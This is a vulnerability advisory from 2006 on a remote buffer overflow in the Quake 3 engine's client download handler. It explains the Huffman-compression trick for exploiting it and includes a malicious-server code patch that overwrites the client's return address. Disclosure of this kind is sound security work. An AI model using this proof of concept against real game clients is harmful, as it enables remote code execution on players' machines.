#######################################################################

                             Luigi Auriemma

Application:  Quake 3 engine
              http://www.idsoftware.com
              http://www.icculus.org/quake3/
Versions:     Quake 3               <= 1.32c
              Icculus.org Quake 3   <= revision 795
              other derived projects
Games:        exist many games which use the Quake 3 engine and
              probably they are all vulnerable but I'm not able and
              have no time to test them.
              An enough complete list of these games is available here:
                http://en.wikipedia.org/wiki/Quake_III_engine#Uses_of_the_engine
Platforms:    Windows, *nix, *BSD, Mac and others
Bug:          buffer-overflow in CL_ParseDownload
Exploitation: remote, versus client
Date:         02 Jun 2006
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


The Quake 3 engine is the famous game engine developed by id Software
(http://www.idsoftware.com) in the far 1999 but is still one of the
most used, licensed and played engines.
It has been released open source under the GPL license some months ago
and now it's mainly maintained by Icculus
(http://www.icculus.org/quake3/) although exist many other derived
projects.


#######################################################################

======
2) Bug
======


The CL_ParseDownload function located in code/client/cl_parse.c is used
by the clients for handling the download commands (svc_download)
received from the server.

The function uses a signed 16 bit number sent by the server for copying
raw data from the network to the data buffer of 16384 (MAX_MSGLEN)
bytes:

void CL_ParseDownload ( msg_t *msg ) {
    int     size;
    unsigned char data[MAX_MSGLEN];
    ...
    size = MSG_ReadShort ( msg );
    if (size > 0)
        MSG_ReadData( msg, data, size );
    ...

Some interesting details:
The (reassembled) packets handled by Quake 3 can be max 16384 bytes but
is possible to bypass this limit through the huffman compression used
automatically and trasparently in the engine (thanx to Thilo Schulz).
In short for exploiting this bug is enough to use 16384 NULL (0x00)
bytes, which occupy a very small amount of space, followed by the
usual "stuff" (return address to overwrite and shellcode).
The data copied with the MSG_ReadData is raw so there are no bad bytes
to avoid for the exploitation.
Note that the svc_download can be sent to the client in any moment so
the client can be attacked also immediately after the ending of the
connect handshake (just the first server's message).


#######################################################################

===========
3) The Code
===========


The server must be modified for sending the malformed svc_download
command and is possible to use the following instructions which
demonstrate how to overwrite the return address with 0x61616161.
It's enough to place them in code/server/sv_client.c just after the
"// send the gamestate" comment at about line 575:

    // send the gamestate
    int     i;
    MSG_WriteByte( &msg, svc_download );
    MSG_WriteShort( &msg, -1 );         // block != 0, for fast return
    MSG_WriteShort( &msg, 16384 + 32 ); // amount of bytes to copy
    for(i = 0; i < 16384; i++) {        // overwrite the data buffer
        MSG_WriteByte(&msg, 0x00);      // 0x00 for saving space
    }
    for(i = 0; i < 32; i++) {           // do the rest of the job
        MSG_WriteByte(&msg, 'a');       // return address: 0x61616161
    }
    SV_SendMessageToClient( &msg, client );
    return;


#######################################################################

======
4) Fix
======


Icculus will fix the code soon.
I have tried to contact id Software too but it's only time lost...
The developers of the other derived projects and games have not been
contacted (almost all the games are no longer supported and it's a bit
long for me to find and contact each single developer of the other
open source projects).


#######################################################################


--- 
Luigi Auriemma
http://aluigi.org
http://mirror.aluigi.org